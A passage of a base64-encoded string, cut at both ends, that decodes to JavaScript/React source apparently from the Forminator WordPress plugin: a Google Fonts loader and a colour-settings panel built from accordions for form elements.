mF0b3JGb250cyApICkge1xuXHRcdFx0cmV0dXJuO1xuXHRcdH1cblxuXHRcdGNvbnN0IG9wdGlvbnMgPSB7XG5cdFx0XHRpc09iamVjdDogdHJ1ZVxuXHRcdH07XG5cblx0XHRjb25zdCBkYXRhID0ge1xuXHRcdFx0YWN0aW9uOiAnZm9ybWluYXRvcl9sb2FkX2dvb2dsZV9mb250cycsXG5cdFx0XHRkYXRhOiBvcHRpb25zLFxuXHRcdFx0X3dwbm9uY2U6IGZvcm1pbmF0b3JEYXRhLmdGb250Tm9uY2UsXG5cdFx0fTtcblxuXHRcdGF4aW9zLnBvc3QoIGZvcm1pbmF0b3JEYXRhLmFqYXhVcmwsXG5cdFx0XHRxcy5zdHJpbmdpZnkoIGRhdGEgKVxuXHRcdClcblx0XHRcdC50aGVuKCAoIHJlc3BvbnNlICkgPT4ge1xuXHRcdFx0XHR3aW5kb3cuZm9ybWluYXRvckZvbnRzID0gcmVzcG9uc2UuZGF0YS5kYXRhO1xuXHRcdFx0fSApXG5cdFx0XHQuY2F0Y2goICggZXJyICkgPT4ge1xuXHRcdFx0XHRjb25zb2xlLmxvZyggZXJyICk7XG5cdFx0XHR9ICk7XG5cdH1cblxuXHRoYXNJbmRpY2F0b3JFbmFibGVkKCBzZXR0aW5ncyApIHtcblx0XHRpZiAoIHR5cGVvZiBzZXR0aW5nc1sgJ3N1Ym1pc3Npb24taW5kaWNhdG9yJyBdICE9PSAndW5kZWZpbmVkJyAmJlxuXHRcdFx0c2V0dGluZ3NbICdzdWJtaXNzaW9uLWluZGljYXRvcicgXSA9PT0gJ3Nob3cnICkge1xuXHRcdFx0cmV0dXJuIHRydWU7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIGZhbHNlO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IGhhc1BhZ2luYXRpb24gPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQncGFnZS1icmVhaycsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NlY3Rpb24gPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQnc2VjdGlvbicsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NpbmdsZVJhZGlvID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCdyYWRpbycsXG5cdFx0XHQndmFsdWVfdHlwZScsXG5cdFx0XHQncmFkaW8nXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NpbmdsZURyb3Bkb3duID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCdzZWxlY3QnLFxuXHRcdFx0J3ZhbHVlX3R5cGUnLFxuXHRcdFx0J3NpbmdsZSdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzTXVsdGlDaGVja2JveCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnY2hlY2tib3gnLFxuXHRcdFx0J3ZhbHVlX3R5cGUnLFxuXHRcdFx0J2NoZWNrYm94J1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNNdWx0aVNlbGVjdCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnc2VsZWN0Jyxcblx0XHRcdCd2YWx1ZV90eXBlJyxcblx0XHRcdCdtdWx0aXNlbGVjdCdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzRGF0ZVBpY2tlciA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnZGF0ZScsXG5cdFx0XHQnZmllbGRfdHlwZScsXG5cdFx0XHQncGlja2VyJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNFU2lnbiA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdzaWduYXR1cmUnLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNHcm91cCA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdncm91cCcsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc0RhdGVEcm9wZG93biA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnZGF0ZScsXG5cdFx0XHQnZmllbGRfdHlwZScsXG5cdFx0XHQnc2VsZWN0J1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNUaW1lRHJvcGRvd24gPSBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzLFxuXHRcdFx0J3RpbWUnLFxuXHRcdFx0J2ZpZWxkX3R5cGUnLFxuXHRcdFx0J3NlbGVjdCdcblx0XHQpIHx8IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQndGltZScsXG5cdFx0XHQndGltZV90eXBlJyxcblx0XHRcdCd0d2VsdmUnXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc0FkZHJlc0NvdW50cnkgPSBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzLFxuXHRcdFx0J2FkZHJlc3MnLFxuXHRcdFx0J2FkZHJlc3NfY291bnRyeScsXG5cdFx0XHQndHJ1ZSdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzTmFtZVByZWZpeCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnbmFtZScsXG5cdFx0XHQncHJlZml4Jyxcblx0XHRcdCd0cnVlJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNHRFBSID0gaGFzRmllbGRUeXBlKFxuXHRcdFx0J2dkcHJjaGVja2JveCcsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc0ZpbGVVcGxvYWQgPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQndXBsb2FkJyxcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnNcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzQ3VycmVuY3kgPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQnY3VycmVuY3knLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNTdHJpcGUgPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQnc3RyaXBlJyxcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnNcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzQ2FsY3VsYXRpb24gPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQnY2FsY3VsYXRpb24nLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNDb25zZW50ID0gaGFzRmllbGRUeXBlKFxuXHRcdFx0J2NvbnNlbnQnLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBwb3N0ZGF0YV9tdWx0aXBsZSA9IGhhc1Bvc3RkYXRhRmllbGRXaXRoTXVsdGlzZWxlY3QoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGlzUHJlc2V0ID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnByZXNldCApO1xuXG5cdFx0Y29uc3QgaGFzSW5kaWNhdG9yID0gaXNQcmVzZXQgfHwgdGhpcy5oYXNJbmRpY2F0b3JFbmFibGVkKCB0aGlzLnByb3BzLnNldHRpbmdzICk7XG5cblx0XHRjb25zdCBoYXNQYWdpbmF0aW9uSGVhZGVyID0gXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5zZXR0aW5ncy5wYWdpbmF0aW9uRGF0YSApIHx8IF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGFbICdwYWdpbmF0aW9uLWhlYWRlci1kZXNpZ24nIF0gKVxuXHRcdFx0PyAnJ1xuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzLnBhZ2luYXRpb25EYXRhWyAncGFnaW5hdGlvbi1oZWFkZXItZGVzaWduJyBdO1xuXG5cdFx0Y29uc3QgcGFnaW5hdGlvbkhlYWRlciA9IF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGEgKSB8fF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGFbICdwYWdpbmF0aW9uLWhlYWRlcicgXSApXG5cdFx0XHQ/ICcnXG5cdFx0XHQ6IHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGFbICdwYWdpbmF0aW9uLWhlYWRlcicgXTtcblxuXHRcdHJldHVybiAoXG5cdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtc2V0dGluZ3Mtcm93XCI+XG5cblx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktYm94LXNldHRpbmdzLWNvbC0xXCI+XG5cdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLXNldHRpbmdzLWxhYmVsXCI+eyB0cmFuc2xhdGUoICdDb2xvcnMnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb25cIj57IHRyYW5zbGF0ZShcblx0XHRcdFx0XHRcdCdBZGp1c3QgdGhlIGRlZmF1bHQgY29sb3IgY29tYmluYXRpb25zIHRvIG1hdGNoIHlvdXIgdGhlbWUgc3R5bGluZy4nXG5cdFx0XHRcdFx0KSB9PC9zcGFuPlxuXHRcdFx0XHQ8L2Rpdj5cblxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1ib3gtc2V0dGluZ3MtY29sLTJcIj5cblxuXHRcdFx0XHRcdDxSYWRpb1RhYnNcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT1cImNmb3JtLWNvbG9yLXNldHRpbmdzXCJcblx0XHRcdFx0XHRcdGRlZmF1bHQ9XCJcIlxuXHRcdFx0XHRcdD5cblxuXHRcdFx0XHRcdFx0PEVtcHR5IHZhbHVlPVwiXCIgYm94Q2xhc3M9XCJcIj5cblx0XHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdVc2UgRGVmYXVsdCBDb2xvcnMnICkgfVxuXHRcdFx0XHRcdFx0PC9FbXB0eT5cblxuXHRcdFx0XHRcdFx0PENvbnRhaW5lciB2YWx1ZT1cInRydWVcIiBsYWJlbD17IHRyYW5zbGF0ZSggJ0N1c3RvbScgKSB9PlxuXG5cdFx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWFjY29yZGlvblwiPlxuXG5cdFx0XHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktYWNjb3JkaW9uLWhlYWRlclwiPlxuXHRcdFx0XHRcdFx0XHRcdFx0PGRpdj57IHRyYW5zbGF0ZSggJ0VsZW1lbnQnICkgfTwvZGl2PlxuXHRcdFx0XHRcdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9ybSBDb250YWluZXInICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxGb3JtQ29udGFpbmVyIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cblx0XHRcdFx0XHRcdFx0XHR7IGhhc0luZGljYXRvciAmJlxuXHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1N1Ym1pc3Npb24gSW5kaWNhdG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFJlc3BvbnNlTG9hZGluZ0NvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmVzcG9uc2UgU3VjY2VzcycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PHAgY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCI+eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdTdWNjZXNzZnVsIHJlc3BvbnNlIG1lc3NhZ2Ugd2lsbCBiZSBkaXNwbGF5ZWQgYWZ0ZXIgJyArXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdmb3JtIHN1Ym1pc3Npb24gc3VjY2VlZHMuJ1xuXHRcdFx0XHRcdFx0XHRcdFx0KSB9PC9wPlxuXHRcdFx0XHRcdFx0XHRcdFx0PFJlc3BvbnNlU3VjY2Vzc0NvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmVzcG9uc2UgRXJyb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdDxwIGNsYXNzTmFtZT1cInN1aS1kZXNjcmlwdGlvblwiPnsgdHJhbnNsYXRlKFxuXHRcdFx0XHRcdFx0XHRcdFx0XHQnRXJyb3IgcmVzcG9uc2UgbWVzc2FnZSB3aWxsIGJlIGRpc3BsYXllZCBhZnRlciAnICtcblx0XHRcdFx0XHRcdFx0XHRcdFx0J2Zvcm0gc3VibWlzc2lvbiBmYWlscy4nXG5cdFx0XHRcdFx0XHRcdFx0XHQpIH08L3A+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8UmVzcG9uc2VFcnJvckNvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0eyAoIGlzUHJlc2V0IHx8IGhhc1BhZ2luYXRpb24gJiYgaGFzUGFnaW5hdGlvbkhlYWRlciA9PT0gJ3Nob3cnICYmIHBhZ2luYXRpb25IZWFkZXIgPT09ICduYXYnICkgJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0ey4uLnRoaXMucHJvcHN9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXt0cmFuc2xhdGUoJ1BhZ2luYXRpb24gU3RlcHMnKX1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFN0ZXBzQ29sb3JzIHsuLi50aGlzLnByb3BzfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdFx0XHRcdHsgKCBpc1ByZXNldCB8fCBoYXNQYWdpbmF0aW9uICYmIGhhc1BhZ2luYXRpb25IZWFkZXIgPT09ICdzaG93JyAmJiBwYWdpbmF0aW9uSGVhZGVyID09PSAnYmFyJyApICYmXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsuLi50aGlzLnByb3BzfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17dHJhbnNsYXRlKCdQYWdpbmF0aW9uIFByb2dyZXNzIEJhcicpfVxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8UHJvZ3Jlc3NDb2xvcnMgey4uLnRoaXMucHJvcHN9IC8+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWVsZHMgQmFzaWNzJyApIH1cblx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8RmllbGRzQmFzaWNzIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cblx0XHRcdFx0XHRcdFx0XHR7IGhhc1NlY3Rpb24gJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTZWN0aW9uJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFNlY3Rpb25Db2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXHRcdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0lucHV0IGFuZCBUZXh0YXJlYScgKSB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PElucHV0c0NvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0eyAoXG5cdFx0XHRcdFx0XHRcdFx0XHRoYXNEYXRlUGlja2VyIHx8XG5cdFx0XHRcdFx0XHRcdFx0XHRoYXNDdXJyZW5jeSB8fFxuXHRcdFx0XHRcdFx0XHRcdFx0aGFzU3RyaXBlIHx8XG5cdFx0XHRcdFx0XHRcdFx0XHRoYXNDYWxjdWxhdGlvblxuXHRcdFx0XHRcdFx0XHRcdCkgJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdJbnB1dCBFeHRyYXMnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8SW5wdXRzRXh0cmFDb2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXHRcdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHRcdHsgKFxuXHRcdFx0XHRcdFx0XHRcdFx0aGFzTXVsdGlDaGVja2JveCB8fFxuXHRcdFx0XHRcdFx0XHRcdFx0aGFzU2luZ2xlUmFkaW8gfHxcblx0XHRcdFx0XHRcdFx0XHRcdGhhc0dEUFJcblx0XHRcdFx0XHRcdFx0XHQpICYmXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmFkaW8gYW5kIENoZWNrYm94JyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFJhZGlvQ29sb3JzIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdFx0XHR7IChcblx0XHRcdFx0XHRcdFx0XHRcdGhhc1NpbmdsZURyb3Bkb3duIHx8XG5cdFx0XHRcdFx0XHRcdFx0XHRoYXNEYXRlRHJvcGRvd24gfHxcblx0XHRcdFx0XHRcdFx0XHRcdGhhc1RpbWVEcm9wZG93biB8fFxuXHRcdFx0XHRcdFx0XHRcdFx0aGFzQWRkcmVzQ291bnRyeSB8fFxuXHRcdFx0XHRcdFx0XHRcdFx0aGFzTmFtZVByZWZpeFxuXHRcdFx0XHRcdFx0XHRcdCkgJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTZWxlY3QnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0PFNlbGVjdENvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEcm9wZG93biBMaXN0JyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdDxEcm9wZG93bkNvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0eyBoYXNBZGRyZXNDb3VudHJ5ICYmXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRHJvcGRvd24gU2VhcmNoJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFNlYXJjaENvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0eyAoXG5cdFx0XHRcdFx0XHRcdFx0XHRoYXNNdWx0aVNlbGVjdCB8fFxuXHRcdFx0XHRcdFx0XHRcdFx0cG9zdGRhdGFfbXVsdGlwbGVcblx0XHRcdFx0XHRcdFx0XHQpICYmXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTXVsdGkgU2VsZWN0JyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PE11bHRpU2VsZWN0Q29sb3JzIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblx0XHRcdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdFx0XHR7IGhhc0RhdGVQaWNrZXIgJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NhbGVuZGFyIEJhc2ljcycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ8Q2FsZW5kYXJCYXNpY0NvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NhbGVuZGFyIFRhYmxlJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdDxDYWxlbmRhclRhYmxlQ29sb3JzIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdFx0XHRcdHsgaGFzRmlsZVVwbG9hZCAmJlxuXG5cdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmlsZSBVcGxvYWQnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRib3hlZENvbnRlbnQ9eyBmYWxzZSB9XG5cdFx0XHRcdFx0XHRcdFx0XHQ+XG5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PFVwbG9hZGVkRmlsZXNDb2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0eyBoYXNFU2lnbiAmJlxuXHRcdFx0XHRcdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRS1TaWduYXR1cmUnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0PFNpZ25hdHVyZSB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdFx0XHR7IGhhc0dyb3VwICYmXG5cdFx0XHRcdFx0XHRcdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy